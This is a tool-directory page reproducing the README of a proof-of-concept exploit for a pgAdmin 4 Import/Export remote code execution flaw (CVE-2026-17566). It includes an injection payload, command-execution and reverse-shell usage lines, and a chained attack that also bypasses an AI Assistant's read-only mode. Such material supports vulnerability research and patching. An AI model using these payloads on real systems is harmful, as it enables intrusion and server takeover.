Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-17566 — pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - TO PROGRAM injection via backslash-escape mismatch | Kitploit
Tools/GitHubGitHub/hackspeak/cve-2026-17566
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration Testing
GitHubhackspeak/cve-2026-17566

CVE-2026-17566

pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - TO PROGRAM injection via backslash-escape mismatch

View Repository
111 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-17566 — pgAdmin 4 Import/Export Data RCE PoC

A remote code execution PoC for the pgAdmin 4 Import/Export Data tool. It exploits the divergence in backslash escaping semantics between the _is_query_parens_balanced() parenthesis checker and psql to inject \copy ... TO PROGRAM and execute arbitrary commands on the server running pgAdmin.

Background attack chain: CVE-2026-17349 (Workspaces credential disclosure) → CVE-2026-17351 (AI Assistant read-only bypass) → this vulnerability (RCE). All three require only a low-privileged authenticated user.

Vulnerability Summary

The Import/Export Data tool inserts user SQL into a Jinja template to build a psql \copy (...) command. The hand-written parenthesis balance checker always treats \' as an escaped quote (which is only correct when standard_conforming_strings=off); however, when PostgreSQL's default standard_conforming_strings=on, , and the quote closes immediately.

psql treats the backslash as an ordinary character
root@kitploit:~
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'

The checker believes that ) is still inside the string, so the parenthesis "balance" check passes; psql closes the string at a\', ) ends the \copy (...) wrapper, and TO PROGRAM 'cmd' becomes a live directive, executed by psql's popen().

  • CWE: CWE-78 (OS command injection) / CWE-115 (Incorrect Interpretation of Input)
  • CVSS: 9.9 (CVSS 3.1) / 9.4 (CVSS 4.0), scope changed, low privileges + no interaction
  • Affected: pgAdmin 4 < 9.18 (since the introduction of _is_query_parens_balanced()); fixed in commit 1496fabe
  • Related: CVE-2025-12762 / CVE-2025-13780 (psql TO PROGRAM injection, same family)
  • Discovered by: Arpit Jain (arpitjain099)

Exploitation Prerequisites

  • An authenticated low-privileged pgAdmin user (with tools_import_export_data permission)
  • Network access to the pgAdmin service
  • Target is pgAdmin 4 < 9.18 with the Import/Export tool available

Usage

root@kitploit:~
export PGADMIN_PASSWORD='账户密码'

# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --command 'id > /tmp/pgadmin_rce_proof'

# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --reverse 10.0.0.1:4555
ParameterDescription
--urlpgAdmin base URL
--user / --password (or PGADMIN_PASSWORD)Low-privileged account
--commandArbitrary command (must not contain single quotes)
--reverse HOST:PORTGenerate a bash reverse shell
--server-idServer ID (defaults to the first one found automatically)
--fileExport filename (used to build the \copy command; default /tmp/pgadmin_export.csv)
--no-verifySkip TLS certificate verification

Flow: log in (CSRF/session handled automatically) → enumerate servers → submit a crafted is_query_export request via POST /import_export/job/<sid>.

⚠️ Disclaimer

For security research, vulnerability verification, and defensive testing only. This script was written based on public technical analysis and has not been verified on a real instance; request fields may need to be fine-tuned for the target pgAdmin version. Run it in an authorized test environment only; do not use it against unauthorized systems.

Attribution & References

  • This repository is an independently written PoC (MIT License), based on public technical information
  • Official Issue #10213: Parenthesis checker backslash semantic error
  • OpenCVE: CVE-2026-17566
  • NVD: CVE-2026-17566
  • Fix commit: 1496fabe
Download Tool